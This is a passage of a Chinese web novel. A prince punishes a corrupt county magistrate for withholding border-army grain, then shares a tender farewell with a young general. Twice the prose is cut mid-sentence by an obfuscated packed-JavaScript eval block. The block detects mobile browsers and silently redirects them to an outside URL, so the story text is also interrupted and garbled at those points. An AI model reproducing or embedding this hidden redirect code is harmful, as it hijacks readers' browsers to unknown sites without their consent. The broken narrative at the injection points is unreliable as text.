“至于那些丘八——”他嗤了一声,“给他们吃饱了,又能如何?这么多年了,不也没见打赢过几场仗。而且,他们不还能吃匈奴肉吗。” 话音落下,站在裴与驰身后的那位遮面亲卫脸色瞬间沉了下来,手已按上刀柄,几乎要上前一步。 可还未等他动作,一道冷光已先一步破空而出。 玄铁剑出鞘。 裴与驰单手开剑,动作极快,毫无花哨。剑锋一送,直指吴义,甚至不给人反应的余地。吴义只来得及瞪大眼,避无可避。剑气逼近,整个人被生生逼得往后踉跄,脚下失了力道。下一瞬,利刃贯入左肩,将他连人带肩,狠狠钉在身后的木柱上。 “砰”的一声闷响。 木屑飞溅,鲜血顺着剑身淌下,染红了衣襟。吴义张着嘴,却发不出半点声音,只剩下剧烈的喘息和因疼痛而不受控制的颤抖。 裴与驰站在原地,神色没有半分波动,他环视四周,下令:“吴县令认罪,陈主簿伏诛。其余人,全部活捉。” 话音尚未完全落地,一道寒光又破空而出。飞刀疾射而去,角度刁钻,力道精准。一个早已察觉不对、正欲从侧门遁走的人还没迈出第二步,手掌便被飞刀生生钉在门框上。惨叫声骤然炸开,那人重重摔倒在地,挣扎着想爬,却只换来更剧烈的痛呼。 裴与驰回头。 迟铎不知道什么时候混入队伍中。方才那一句“丘八”,显然戳中了这位小将军。他手腕一翻,飞刀已重新入掌,动作干净利落,连余光都没多给地上那人一个。 下一瞬,他已动了。身形掠出,快得几乎看不清。桌椅被踢翻,兵刃撞击声接连响起。迟铎出手毫不留情,却又精准得可怕,不致命,却让人瞬间失去行动能力。手腕、膝弯、肩颈,每一次落点都像是早已算好。不过片刻,原本还气势汹汹的黑面人便倒了一地,或被压制在地,或被缴械按倒,连反击的机会都没有。酒楼内重新安静下来。只剩下粗重的喘息声,和木柱上吴义因失血而愈发急促的呼吸。 迟铎站直身子,抬手抹去溅到脸侧的一点血迹,这才退回裴与驰身侧。他这才发觉自己面巾不知何时丢了,便冲裴与驰讪讪一笑。 裴与驰看了他一眼,没追究,等武秦他们把桌上那群人捆好后,裴与驰的目光越过吴义,落在一旁被按住的那人身上。 “刘县丞。” 他声音不高,却叫人背脊发凉, “现在这里归你管,你搞清楚发生了什么了吗?” 刘县丞整个人一抖。裤脚下方,很快洇开一片深色水迹。他几乎是下意识想跪,却被亲卫按着肩膀动弹不得,只能站在原地发抖。 他哪里见过这样的阵仗。刘县丞原本只是个读书人。寒窗多年,好不容易考了个进士,本想着在地方做个清清白白的小官,安稳过日子。被分到长衡后,老老实实坐着县丞的位置,按章办事,从不多嘴。县令与主簿在外如何张扬,他不是不知道,只是不敢管,也管不了。他家里一穷二白,俸禄微薄,日子紧得很,平日里还要替人誊写字帖贴补家用。他既没有靠山,也没有门路,更不懂这些官场里盘根错节的弯弯绕绕。在县衙里,他不过是个被叫来凑数的。吴义从没把他当回事,遇事也从不与他商量。主簿掌账,县令拍板,他这个县丞,连账目都摸不到边。 可偏偏,事情闹到这个地步,活下来的,只有他。 刘县丞嘴唇发白,喉咙滚了几滚,才勉强挤出声音。“下、下官……”声音抖得不成样子,吴义无恶不作不假,可这位三殿下,也绝不是好相与的。年纪尚轻,却敢当场动手。此刻被钉在木柱上、生死不明的县令,便是最好的证据。 裴与驰看他六神无主,抖若筛糠,判断他确实未曾深度参与,便没再逼迫,只将话头转回正事。“吴义,其罪有五。”刘县丞猛地一震,下意识抬头。 “其一,私扣朝廷粮草,滞留不发,致边军断粮,军心不稳。” “其二,勾结粮商,囤积居奇,意图转卖牟利,坐视军中饥馑。” “其三,”擅自豢养私兵,设伏于官署之内,形同割据。” “其四,”纵容属官贪墨账目,主簿代管粮账,造假牟利,拒不交代实情。” “其五——”裴与驰顿了顿,目光扫过席间倒地之人,语气愈发冷淡,“辱骂边军,蔑视军功,以军士性命为交易之物。” 话音落下,酒楼里安静得可怕。 “以上诸条,桩桩件件,皆有在场人证,亦可清点仓账、搜查暗门佐证。” 裴与驰这才看向刘县丞:“你记清楚了,按实写,一条不许漏。即刻封存长衡仓廪,点清粮数,调兵护送,一并呈报兵部、户部与御史台。” 他说完,语气极轻,却不容置喙,“这是你唯一能活下来的路。” 迟铎原本低着头,装作亲卫,一直没开口。直到听到这里,他眉目微微一动,目光越过席间狼藉,落在角落里那群缩成一团的幼女身上。她们年纪尚小,衣衫单薄,脸上还残留着惊惧未散的神色,有人死死攥着衣角,有人连抬头都不敢。 他张了张口,似乎想说什么。 裴与驰已先一步开口:“这群私兵全身扒净,逐一审问来路,谁供养,谁调派,一条一条查清。” 语气冷硬,没有半分犹豫,随后,他的视线转向那些女孩。“至于她们。”裴与驰停了一瞬。“逐一核查奴籍,涉案所得,一律作废。一个对一个,去掉奴籍。登记造册,暂由县衙收管。编入良籍,交由地方妇孺所安置。” 他顿了顿,又补了一句:“不得再入乐籍。” 话音落下,席间无人敢应声迟疑。迟铎站在一旁,听到这里,眼神轻轻动了一下,最终什么也没说,只默默收回了视线。 等一切安排妥当,酒楼被封,人证、账册、私兵尽数押走,裴与驰几乎没停歇,便直返县衙。查账、清库、点粮。一桩接一桩,容不得喘气。县衙里灯火通明,原本油水十足的地方,此刻却人人噤声。衙役们低头来往,脚步放得极轻,生怕惹眼。 迟铎混在人群里,见正事已定,心里盘算着是不是该趁乱退下。他脚步悄悄一挪,刚要往门口靠—— “站住。” 声音不高,也没点名道姓。可某个心虚的,当场就停了。迟铎脚下一顿,背脊不自觉挺直,慢慢转过身来。 裴与驰正低头翻着账册,连眼皮都没抬:“你来干嘛的?” 问得十分不客气。 迟铎一噎,这一问,要搁在旁人身上,早该跪下请罪了。可偏偏这两个月来,两人几乎是天天混在一处。起初是借着迟铎毒伤未痊愈这个名头,被迟将军一句“年岁相仿,好有个照应”,毫不留情地“发配”来陪三皇子。说是照应,实则陪护,生怕这位殿下在军营里出什么差池。 后来便是你一句我一句,谁也不让谁,斗嘴斗到连旁边的人都懒得劝。再后来,不知从什么时候起,变成了切磋。从拳脚到兵刃,从清晨打到日头偏西。输的人请酒,赢的人嫌对方出手太慢。一开始还都是正经路数,抱着真要分个高下的心思,后来便彻底歪了:耍赖、绊腿、锁喉,什么招都往上使。 小将军不像小将军,皇子殿下也不像皇子殿下。 有一回,两人滚进草地里,迟铎被裴与驰牢牢压住,怎么挣都挣不开,最后实在没辙,抬手拍地:“行行行,你赢。”认输的相当干脆。等两人起身拍灰的时候,迟铎一点不觉得丢脸,反倒理直气壮:“那等下你请,我要望月楼的荷花酥。” 裴与驰:“?” 还没等三皇子开口讥他一句“哪来的耍赖鬼”,迟铎已经先动了。他极其大不敬地用肩膀撞了裴与驰一下。自从混熟之后,被压在身下都是常事,碰下肩又算得了什么。 “我有样东西给你看。”迟铎语气刻意压低,说得神神秘秘,话音未落,已经转身拉着人往马厩去。马厩里拴着一匹黑马。通体油亮,筋骨匀称,四蹄稳稳踏地,不躁不动,却自带一股野性。一眼便知不是寻常坐骑,显然是精心挑选出来的。 “怎么样?”迟铎下巴一抬,语气里带着点得意,“够不够你回宫前一直请我?” 裴与驰看了那马一眼,又看了迟铎一眼,没有立刻说话。 迟铎却已经自顾自往下说了:“你要是带不回去,我给你养着。等你哪天再来,还是你的。”他顺手拍了拍马颈,语气十分仗义,“够意思吧?” 那一刻,他是真的没想太多。只觉得这位从宫里来的殿下顺眼、合拍,有好东西,就该第一时间拿出来给他看看,他需要便拿走。 所以回到现在,面对三殿下的疑问。 “凑个热闹罢了。”迟铎给了个回答,语气轻描淡写,目光却偏偏看天看地,就是不看眼前人。 裴与驰看了他一眼,也没打算深究。正这时,武秦提着一个食盒进来。盒盖一掀,热气与香气一并涌出,荷花酥与油酥鸭摆得齐整。裴与驰已将视线重新落回册子上,只淡淡丢下一个字。“吃。”语气理所当然,半点商量的意思都没有。 迟铎撇了撇嘴,也不客气,当即坐下动筷。一口甜一口咸,吃得停不下来,腮帮子鼓鼓的,说话都含糊起来,活像只认真进食的小兽。等武秦退下,他忽然像是想起了什么,含着食物含含糊糊地开口:“对了,你记得让那个武……武大哥,给我把解药拿来。” 裴与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089558|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰:“……” 他抬眼:“什么解药?” “就你们那种秘药啊。”迟铎一边吃一边说,“我想跟着出来,武秦不让,说非得先服下什么穿肠丸,说要是对你起了异心,当场就没命了。” 裴与驰:“………………” 他盯着迟铎看了片刻。好歹是独子,迟将军……当真是一点书都没让他多读? “你吃的……是什么样的?”裴与驰问。 “白色的小丸子。”迟铎想了想,“还挺甜的。” 他说得十分认真,末了还补了一句:“宫里的御医真是厉害,这谁能察觉到是这么毒的毒药。” 裴与驰:“………………” 这一瞬间,他忽然生出一个极其清晰的念头,这人能活到现在,全凭命硬和狗运。 “御医厉不厉害,我说不上来。”裴与驰语气平淡,“不过武秦倒是很会唬小孩。” 迟铎一愣:“什么意思?你是说……他诓我?” 裴与驰摇了摇头,觉得迟铎已经无药可救:“不然呢?真要有那等药,哪会随便喂你。落到你嘴里,那叫糟蹋。” 话说到这里,意思已经再明白不过。 迟铎这才反应过来,自己是被骗了一路。他一口气憋在胸口,出不来又下不去。明明他早就想过:这等奇毒若真在世上,岂会轻易落到他嘴里? 要不是……他偏偏还真信了。 迟铎心里冷哼一声,抬手狠狠咬了一口鸭腿,把那点郁气全发泄在肉上,仿佛咬的是裴与驰的胳膊。 切,他就是多余担心。 送马那一夜,月色极好,黑马被主人赐名玄霜。 玄霜和姣雪被牵到草原上,起初只是并肩慢行,像是试探彼此的气息。后来索性放开了跑。夜风贴着鬃毛掠过,蹄声踏碎星影,两匹马一前一后,越跑越快,跑得酣畅淋漓,仿佛要把这两月里压在胸口的闷气一并甩出去。 待跑得尽兴,才渐渐收住。马蹄踏着草根,声响细碎。玄霜先停下,回头等了一等,姣雪便也靠了过来。两匹马鼻息相触,鬃毛相擦,互相依偎着。迟铎翻身下马,随手拍了拍马颈。裴与驰也下了马,没说什么,只把缰绳一松,让它们自己去喘息。 两人并肩靠在石头旁坐下。 塞北夜空低而阔,星子密密,亮得晃眼。风从草原深处吹来,带着一点冷意,也带着草叶的清香。迟铎随手折了根青草叼在嘴里,半眯着眼,望着天穹不说话。 就在这时,裴与驰忽然开口:“粮草还没到。” 迟铎偏头看了他一眼。他原以为,这人会赏景念诗,顺带笑他没文化。可裴与驰开口,落下的却是正事,那是三殿下心里压着的东西,本不该说与旁人听,却偏偏在这个夜里,说给了迟铎。 “粮不是没有。”裴与驰道,“我亲自盯着装车。是到了长衡,被人按住了。” 话不必说透,迟铎却已听懂。 那些人,手里握着粮,也握着路。平日里在宫门前低眉顺眼,恨不得跪着说话;到了塞北,天高皇帝远,便敢换一副嘴脸。只要裴与驰在文书上落了名、画了押,粮草“暂缓”便有了由头。回头追究,先问罪的也不会是吴义那等小吏,必然是三皇子。奉旨押粮却押不来,监军却稳不住军心,哪一条都够写成罪。 他们真正要的,是让裴与驰顶在前头。 等事情闹大,钱粮一收,人往北一走。边关鞭长莫及;再补一笔“边军不稳、主帅失察”,锅便稳稳扣在迟家头上。 而裴与驰:回京,是慰军不力;留在边关,是怨气所向。军心一旦失控,下面的人未必分得清忠奸,也未必还讲什么皇子不皇子。 这一步棋,从来不是冲着粮来的,是冲着人来的。 迟铎嘴里的青草不知什么时候被嚼碎了。 好毒的计。他这才明白,裴与驰也并非高枕无忧。皇子走在前头,看着风光,脚下却是刀尖,一步踏错,便是万劫不复。 后来听到裴与驰要亲自去讨粮,迟铎坐在迟了了帐中的角落,听着军师一条条分析派谁合适、带多少人合适、该如何周旋。他听得烦闷,脑子里却没转那么多弯:作为迟小将军,他去不了;可作为迟铎,他不想让裴与驰一个人去。 于是他起身去找武秦,开口便道:“我也要去。” 扮亲卫也好,遮面也好,混在队伍里也好,他只要跟着。真出了事,他也能先一步把刀挡下去。 武秦一时没说话。 迟了了派来的人被他拒绝,是因为人多手杂,底细看不清,不敢用。迟家再是好意,也抵不过人心难测。可眼前这位小将军,与殿下朝夕相处两个月,同吃同住,连殿下心里压着的事,都肯同他说上两句。武秦知道迟铎武艺不差,也知道他心思不坏。可他更清楚:迟铎是迟家独子。殿下若有闪失,再搭上迟铎,边关这摊子便再也压不住了。他硬下心肠,仍要拒绝。可迟铎缠得紧,武秦被磨得烦了,索性从袖中摸出一粒糖丸,递过去,语气冷硬:“去可以,你得先服这个穿肠丸。” 他顿了顿,恐吓道:“想清楚。若你对殿下生出异心,即刻当场毙命。” 迟铎眼睛一亮,连犹豫都没有,张口就问:“真假?有这等好东西,朝廷为何不拿出来用?匈奴那群狗崽子,不早就被毒死了?” 武秦:“……” 他沉默片刻,才硬着头皮接道:“此等秘药,药材极其珍贵。” 迟铎“哦”了一声,抬手就把那丸子一口闷了。 “走吧。”他抹了把嘴角,“给我套衣服。面巾记得拿,就说我咳疾未好,免得冲撞殿下。” 武秦:“…………” 回忆及此,被武秦耍了一把的迟铎默默记下一笔,之后便死活不肯再提细节,想把这桩丢脸事混过去。 可饭都吃了,人也走不了了。 他杵在一旁,看着裴与驰伏案疾书,笔走如飞,像是要把长衡县衙的账本连根刨出来。迟铎本想冷哼一声转身就走,可到底没走成,心里骂归骂,眼睛却还是忍不住往那堆册子上瞟。 他终究是不忍,凑近两步,想替他分担些,话还没出口—— 裴与驰头也不抬,先淡淡问了一句:“你认得全吗?” 迟铎:“……” 他这一腔“我来帮你”的热血,瞬间凉了半截。 迟小将军当即脸一沉,转身就要拂袖而去。才迈出半步,袖口却被人一把扣住,力道不重,却不容他挣开。这位眼高于顶、嘴毒心冷的三殿下,竟罕见地放低了声,明摆着是在哄人:“是我不对。烦请英勇无双的迟小将军,同我一起。” 迟铎一愣,回过头去。 裴与驰仍坐在案前,眼皮都没抬,神色依旧冷淡,仿佛方才那句软话不是出自他口。可那只手却攥得牢,半点不松,像是怕人真走了。 迟铎喉头滚了滚,终究没能甩开。他“哼”了一声,算是给自己留了台阶,他气可还没顺呢。可偏偏耳尖先红了,红得明目张胆。。 别扭了没一会儿,两位少年又凑到了一处,并排坐着,一页页翻着账本。查着查着,蜡烛渐渐昏暗,烛芯该剪了。裴与驰抬手要去取剪子,偏头一看,却发现迟铎不知何时侧趴在桌沿上,竟熬睡着了。 醒着的迟小将军总爱刻意把那天生上扬的嘴角往下压,装出一副凶相,好让自己看起来更威风。可一旦睡着,那点威风便散了个干净,唇角松开,微微嘟着,又不自觉往上翘。像刚蒸好的白面馒头,软得让人想试试看是不是一戳就塌;又像一枚糯团子,裹着甜意,乖得让人下不去手欺负。 他睫毛很长,覆在白皙的脸上,轻轻投下一层阴影,把那双平日里亮得过分的圆眼遮得严严实实。呼吸也放得极轻,鼻息擦过袖口,安静乖巧得不像话。 三殿下原本是要剪烛芯的,手都抬起来了,却又停在半空。昏暗的烛光里,他看了迟铎一会儿,什么也没说,只将外袍解下,轻轻覆在那人肩背上。 等迟铎惊醒的时候,天色已经发白。案上的蜡烛烧到尽头,烛泪堆成一圈,火苗细得像一根线,随时都要灭。他猛地直起身,肩上有什么东西滑了一下。迟铎低头,发现自己身上盖着一件外袍。料子极好,带着淡淡的沉香气,熟悉得很,是裴与驰的。 他指尖一顿,心口莫名一跳。 而那人就在他身侧,靠着桌沿睡得很安稳。许是熬得太晚,困得狠了,眉眼间那点冷意淡了些,反倒把他本来的英挺俊朗显了出来。将明未明的天光落在他脸上,勾得鼻梁更挺,眉骨更利。 迟铎想起他平日里总抿着嘴,一副“别来惹我”的冷样,锋芒压得太盛,倒叫人不敢细看。可如今闭着眼,冷意收起,只剩英气逼人,叫人移不开眼。 迟铎看得一时出了神。他低头看了眼外袍,又看回那张脸,耳尖不争气地热了热,连呼吸都放轻了,生怕把人吵醒。偏偏这时,一阵风从门缝里钻了进来,烛火细细一晃。迟铎这才察觉门没关严,冷气正往里灌。 他心里一紧,顾不得别的,急急忙忙把那件外袍拢回裴与驰身上。披好后,又蹑手蹑脚走到门边,把门仔细合上,连门闩都压稳了,才松了口气。 做完这一切,他才回过神来,他到底在紧张什么?真是多余担心! 可偏偏心却不听话,跳得厉害,像是要从胸口撞出来。 他背后的桌上,三殿下也没好到哪去。 某人惊醒时动静不算小,裴与驰其实也没睡沉。刚合眼没多久,便被那一阵手忙脚乱惊得眼皮轻轻一颤。他原本想照例讥讽一句“迟小将军笨手笨脚”,可话还没出口,便察觉一道目光直直落在自己脸上——盯得太认真,太近,近得叫人无处可躲。裴与驰喉头一滞,到了嘴边的冷话硬生生咽了回去。下一瞬,他索性把眼皮压得更低,呼吸放得更稳,装得比方才还像睡着。 仿佛什么都没发生。 直到迟铎蹑手蹑脚披上衣服,又急急忙忙去关门。风从门缝里钻进来时,他几乎是下意识把外袍拢回裴与驰身上,动作轻得很,像怕惊着人。门闩“咔哒”一声压稳,冷气被挡在外头,屋里重新暖下来。 裴与驰分明还闭着眼,呼吸却乱了一瞬。心里那点方才被盯出来的热意,又被这一连串“怕他着凉”的小动作,硬生生添了一把柴火。 这趟监军差事当真棘手,偏偏还遇上个更棘手的人。 他心里冷哼一声,却还是老老实实装睡,生怕自己露了馅。 72.古代-别离[番外] 三皇子确实带回了粮草。 几夜查点下来,数目分毫不差,粮车一辆不缺地运进营地,车辙压得地面发实。待裴与驰启程回宫的日子临近,粮草已尽数入册,整整齐齐停在营外。风一吹,空气里都添了股干燥的谷香。 迟铎挑了一辆顺眼的,翻身坐了上去。他把粮袋理直气壮地当作垫子,往后一躺,翘起二郎腿,嘴里叼着一根干草,眯着眼看头顶的蓝天白云,心情难得松快。正躺得舒坦,忽听脚步声由远及近。 他偏头一看,裴与驰不紧不慢走到粮车旁,神色仍是那副冷淡样。 “喂。”迟铎懒懒支起身,朝那人扬了扬下巴,语气里带着点随口的兴致,“我听李老头说,长安有最烈的酒,也有最美的人,可是真的?” 裴与驰没答,只在车旁停了一瞬,目光从他翘着的腿扫过,像是在看一件碍眼的东西。下一刻,他抬手扣住车把,猛地一压。 粮车一晃。 迟铎猝不及防,整个人从车上翻了下来,后背砸进草地里,嘴里的干草也飞了。 “操!”迟铎摔得眼前一黑,翻身坐起,瞪着他,“裴与驰,你发什么疯?!” 直呼名讳,连尊卑都顾不上了。 裴与驰慢条斯理地掸了掸衣袖,像什么都没发生:“我只是提醒你,粮袋不是你的榻。” 迟铎:“……” 他一口气堵在胸口,正要骂回去,裴与驰却低眼看他,神色冷淡:“再说了,长安的美人榻,你也躺不上。” 迟铎愣了愣,随即反应过来他话里的意思,当即炸毛:“谁说我要躺了?!” “我就是好奇。”他哼了一声,话出口才意识到有些不妥,却已收不回去:“最俊的都在这儿了,长安那‘最美’,到底是什么模样?” 裴与驰原本已要转身,闻言却微不可察地顿了一下,指节在车把上收紧,又很快松开,仿佛方才什么也没听见。 依着他方才的神色,此处本不该再有多话,可三皇子终究没有拂袖而去。片刻后,他像是想起什么,语气平淡地开口:“最烈的酒,是上阵酒。” 他顿了顿,又道:“至于最美的人,宫里,肯定没有。” 迟铎坐在地上,一时没动。听着他的语气,看着他提到宫里时眉眼间那点掩不住的不虞,心里忽然冒出一个极不合时宜的念头:要不,别回去了。 这念头荒唐得很,连他自己都忍不住想笑。皇子不回京,又能往哪去? 可若能多留几日,似乎也没什么不好。 念头一乱,他索性往草地上一躺,手臂枕在脑后,仰面看天,像是方才那一下把骨头都摔懒了。风吹过来,草叶轻轻扫着衣摆,日头落在眼皮上,暖得人发困。 没过多久,裴与驰果然看不下去,走近两步,低声道:“起来。” 迟铎闭着眼,当作没听见。 裴与驰停了一瞬,俯身伸手去拉他。那只手指节修长,落在腕上时力道不重,却不容他再赖。 迟铎眼底掠过一丝得逞的笑意,顺势一拽。 裴与驰猝不及防,被他拉得失了重心,衣袍一荡,也跌进了草地里。草叶被压得簌簌作响,尘土扬起,又很快被风吹散。 两人肩挨着肩躺在一处,离得极近。迟铎侧过脸,正好撞见裴与驰的侧颜,眉骨利落,鼻梁挺直,轮廓锋利得过分。他在心里轻轻哼了一声,暗道自己果然没看走眼——这样的眉眼,便是放到长安,也该是最俊的。 裴与驰皱眉,像是要骂人,迟铎却抢先一步开口:“属下请三殿下……看风景。” 话说得毕恭毕敬,动作却理直气壮,半点不像在请,倒像是仗着胆子把人扣下。那双圆眼亮得过分,偏还要装出一副一本正经的模样,唇角却不受控地往上翘。 裴与驰看着他,话到嘴边却停住了。眼前人神情灵动,眼圆而亮,唇角微翘,像只狸奴学着装凶,偏偏装得并不十分像。若真有尾巴,此刻怕是早已按捺不住,一下一下拍着地面,明明等得心急,却还要装作若无其事。 他沉默了片刻,终究没骂出口,只将目光移开,仿佛什么都未曾发生。 可他也没有起身。 于是两人便这样并肩躺着,任由草叶的清香混着夜风铺开,时辰在头顶一点一点流过去,像是真的只是在看风景。 裴与驰望着天幕,心底却忽然浮起一个念头——长安哪有什么最美的人,若真有,也该在塞北。 风景看够了,两人这才起身。草叶沾在衣摆上,尘土也扑了些在袖口。迟铎草草拍了两下,转头就去拽裴与驰的袖子:“走。” 裴与驰被他拉得一个踉跄,眉心一跳,刚要开口,迟铎却已理直气壮地往前走,像是怕他反悔似的,攥得更紧。 营外不远便是军镇。说是镇子,其实多半是随军扎下的棚屋与土铺,起初冷清得很,只有兵卒来往。可日子久了,随军的妇孺、老人也渐渐聚了过来,挑担的、卖饼的、修补的、熬汤的,叫卖声一阵接一阵,把这片原本只有风沙的地方,硬生生过出了些烟火气。风里不止有草腥与铁锈味,也多了热食的香。迟铎走在前头,兴致高得很,见什么都要停一停,像是要把这塞北的热闹全塞进眼里。裴与驰被他拖着走,嘴上嫌烦,脚步却没慢半分。 街市不大,却热闹得很。摊子挤着摊子,卖的多是些军中用得上的物件:缝补的针线、磨刀的石、热腾腾的饼子与汤。也有些小玩意儿,专哄孩子开心,纸鸢、糖画、彩绳,还有一排排扎得精巧的河灯。 迟铎一眼就看上了。 他站在灯摊前挑来挑去,拎起一盏试了试,又换一盏,神情认真得很。裴与驰在旁边看得眉心直跳,终于忍不住冷声道:“白天点什么灯?” 迟铎头也不回:“现在不点,就没机会了。” 他说着把河灯往裴与驰眼前一晃,理直气壮:“晚上有践行宴。你又腾不出空来。” 裴与驰一顿。 迟铎继续低头挑灯,嘴里嘀嘀咕咕:“明日就启程回京了。你这些天不是查粮草,就是写文书,日日熬到深更,哪有功夫出来走走。” 他没再往下说,只把那句话咽回去。 ……省得回头想起来,连个念想都没有。 裴与驰没说话。他目光在灯摊上一扫,抬手一指,像是随手一挑:“就这盏。” 摊主愣了一下,眼神在两人之间飞快转了一圈,随即忙不迭低头,把那盏灯捧了起来。灯骨细巧,纸面绘着并蒂莲,画工精妙,绘得栩栩如生,两朵莲花挨得极近,花瓣层层叠叠,像是生来便要相依相伴。 迟铎也愣了愣,没忍住多看了裴与驰一眼,心里稀奇得很:没看出来三殿下还有这等雅兴,竟挑这种花样。他原本还觉得那盏锦鲤灯更好,图样喜庆,寓意也吉利。可殿下既点了这盏,他也不好再多嘴,只能点头:“行。” 两人提着河灯往河边走,点了灯,才将灯轻轻放上水面。 一切都很顺利。 下一瞬,那盏灯便被水势一卷,直接顺流而去。 迟铎:“……” 裴与驰:“……” 迟铎原本还想着,白日放灯,本就少了些意思,灯火不显,顶多算个心意,再配合许个愿,图个吉利。谁知风一起来,河面骤然起了细浪,河灯倒是没翻,却被水势一带,飘得极快。眨眼之间,便只剩下一点小光;再一眨眼,连影子也没了。 连愿都来不及许,便没了。 迟铎盯着那处空空的水面,低声道:“……也行,顺流而下,是好兆。” 他说得很轻,像是在说给自己听。可那点闷意还是压在心口,挥之不去。顺遂是顺遂,只是顺得太快了些,快得连人多看一眼的工夫都不给。 像是生怕被谁挽留住。 他喉咙动了动,那句“别忘了我”,终究还是没能说出口。本想着好歹还能借着许愿,把这点心思藏进灯里,叫它替自己走一程。谁知灯一入水,连停都没停,连给人反悔的余地都没有。早知道这样,方才放下去的那一瞬,就该在心里念一句的。 裴与驰也盯着那盏早已看不见的河灯,许久没出声。那灯是他亲手挑的式样。顺流而下,照理说算是好兆。他向来不信这些虚玄之说,可方才那一点光被风与水一带,转瞬便没了,快得叫人连眨眼都来不及。 太快了。原本该慢慢漂着的东西,忽然就没了影子,连给人适应的工夫都不留。 像是刻意在催促他走。 裴与驰眉心微不可察地皱了一下,心里生出几分烦躁,说不清是嫌这风来得不是时候,还是嫌这河太不讲理,又或是……嫌明日来得太快了些。 有了这个插曲,两人兴致都低了下来,尤其迟铎,回去的路上一路闷闷不乐。他低着头踢着路边的石子,走得又慢又沉,像是把那点说不出口的心思都闷在胸口。 裴与驰跟在旁边,看了他好几眼,终究没忍住,开口却是:“饿了,吃什么。” 迟铎一愣。 这段时日他早看明白了,三皇子这人,简直天生适合去求长生问药、当个清修道士,口腹之欲半点没有。城里最热的汤、最香的肉,他都能面不改色地说一句“无须”。迟铎哄过、劝过、激过,通通无用。 如今他临走在即,竟忽然说饿了。 那也好。 能一同吃点像样的吃食,也算是……留个念想。 迟铎胸口那点闷意,悄然松了松。他自己也说不清缘由,只是听见这句话,便忽然觉得:原来他们还可以并肩做点寻常事,还能再走一段路,再多待一会儿。 他赶紧把情绪压下去,装作若无其事,抬头笑道:“好啊,想吃什么?都我请。” 说得阔绰又豪气,像是要把整条街都包下来。 裴与驰却没立刻答,只一直看着他,像是在思索吃什么,又像是早已神游天际。看得迟铎几乎要怀疑自己脸上沾了灰,终究没忍住,抬手在脸侧胡乱抹了一把。 裴与驰这才移开视线:“随你。” 他们最后坐在了一家极其朴素的面馆。 清汤面,汤清见底,几根葱花浮着,热气轻轻往上冒,素得不能再素。 裴与驰扫了一眼:“轮到你请,就是这个?” 迟小将军方才还拍着胸口,说得豪气冲天,如今请出来的阵仗,却着实寒酸。三皇子殿下难得开了回眼界,原来世上真有人能把“请客”二字请得这般清贫。这一顿面,怕是要让迟小将军痛失好几个铜板。 迟铎:“……” 他本想顶回一句“爱吃不吃”,话到嘴边却又咽了回去,只闷声道:“你别小看它。” 他低头搅了搅面,声音不自觉地轻了些:“宫里什么山珍海味没有,唯独这种素面……未必吃得到。” 说到这,他终究还是没忍住,把面往前推了推。那双圆眼睁大看着眼前人,神色异常认真: “吃了。” “回头,别只记得长安的。” 话说得很轻,却又不容敷衍。 裴与驰看着他,一时间竟没接话。迟铎就这么望着他,眼也不眨,像是在等一个答复,又像是只要他肯低头吃一口,便什么都满足了。 那模样,乖得过分,仍旧像只狸奴。 只是狸奴尚且能带回长安,迟小将军却不行。 裴与驰没再说话,低头吃了面。面是什么味道,他自己也说不上来,只觉与平日其他吃食并无二致,不好不坏。 待碗空了,却不知怎的,心底忽生一念:怕是旁的,再不能比了。 吃完面,两人又在街市里磨蹭了一阵。说是逛,其实也没个目的,走走停停,摊子一个接一个地看过去,却又说不出究竟看进了什么。 迟小将军走在前头,步子不自觉地放慢了些,眼睛盯着脚下的路,心里却在盘算:这条街,能不能再长一点,恨不得当场替百姓把路再铺出去一段。 三皇子殿下走在一旁,目光落在街边的摊位上,看得很认真,像是在清点铺子有多少、灯火亮不亮,百姓的生意做得好不好,一副忧国忧民、体恤民情的模样。 看起来都很忙,其实谁也没急着走。 直到传令兵来找,两人才带着说不清、道不明的心思回了营。营中火把连成一线,歌舞不歇,酒盏相碰的声响此起彼伏。回京前的践行宴已经开宴。 可若论起最初那一回,情形却全然不同。当初裴与驰北上,名义上是慰军,实则是监军。接风那日,地点甚至都没敢定在军营,双方皆有所防备。席间虽同样有酒有舞,却处处透着谨慎。话说得客气,眼神却防得极紧,你来我往尽是试探,杯盏相碰之间,谁也不敢真醉。 那一夜,谁也没把这位三殿下当成自己人,可如今再看,火光下的热闹却是真真切切的。 不到三个月,裴与驰便住进了军营,与兵同吃同住。操练时下场,行军时同行,军中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090510|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事务从不越权,却也绝不推诿。 尤其是粮草一事,他既不写折子,也不等批复,只说了一句“等不起”,便亲自去了长衡,硬生生从人手里抢了回来。 吴义与边军积怨多年,命粮屡屡受阻,又常在军镇与长衡县交界处滋事,军中早已不满。那日入席,裴与驰未及动刃,只消两个字,便有人当场伏诛;等吴义真撕破脸,他神色不改,一剑把人连肩钉在柱上,干脆利落。 这等做派,最合边军胃口。那一幕很快被人编成打油诗,在军镇里传开,连稚童都能顺口背上两句。 这一夜的酒,已没人再盯着他的身份,也没人把手按在刃上蓄势待发。有人拍案高声,有人举盏相敬,连素来最桀骜的几名副将,说话时也添了几分真心实意的笑。 裴与驰起初仍按着规矩坐了一会儿,说了几句场面话,神色从容,分寸拿得极稳。 没过多久,袖子忽然被人拽了一下。 